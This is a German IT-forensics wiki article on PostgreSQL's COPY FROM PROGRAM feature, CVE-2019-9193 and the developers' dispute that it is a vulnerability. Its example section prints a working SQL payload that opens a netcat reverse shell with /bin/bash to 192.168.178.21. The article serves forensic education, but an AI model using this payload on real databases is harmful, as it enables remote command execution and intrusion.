PostgreSQL Command Execution

Aus IT-Forensik Wiki
Version vom 18. Februar 2022, 19:23 Uhr von St190709 (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „== PostgreSQL Command Execution == In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funkti…“)
(Unterschied) ← Nächstältere Version | Aktuelle Version (Unterschied) | Nächstjüngere Version → (Unterschied)

PostgreSQL Command Execution

In PostgreSQL steht den superusern sowie Benutzern, welche der Gruppe pg_execute_server_program zugeordnet sind, die Funktion "COPY TO/FROM PROGRAM" zur Verfügung. Diese Funktion erlaubt es beliebigen Code im Kontext des Betriebssystembenutzers der Datenbank auszuführen. Die Funktion ist per default aktiviert und kann z.B. mit Hilfe von SQL Injection missbraucht werden um beliebige Befehle des Betriebssystems auszuführen (Postgres ist auf Windows, Linux sowie MacOS lauffähig).

Im Jahr 2019 wurde die Funktion als Schwachstelle gemeldet und bekam eine CVE Nummer (CVE-2019-9193).

Die Entwickler Postgres argumentieren hierzu, dass es sich dabei nicht um eine Schwachstelle handelt, da die Datenbank nie im Kontext eines Superuser läuft und es um nur um einen zusätzlichen Befehle innerhalb der bereits bestehenden Sicherheitsgrenzen des Betriebssystems handelt.

Beispiel

Ein Beispiel zum Ausnutzen dieser Funktion ist folgendes Beispiel. Hier wird eine Reverseshell mittels nc auf den Host 192.168.178.21 geöffnet.

CREATE TABLE cmd_exec(cmd_output text);
COPY cmd_exec FROM PROGRAM 'nc 192.168.178.21 4242 -e /bin/bash';
SELECT * FROM cmd_exec;

Unter der CVE ist ebenfalls ein Metasploit Modul zu finden, welche in der Lage ist die Funktion auszunutzen.

Quellen

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9193
https://meterpreter.org/cve-2019-9193-postgresql-arbitrary-code-execution/
https://www.postgresql.org/about/news/cve-2019-9193-not-a-security-vulnerability-1935/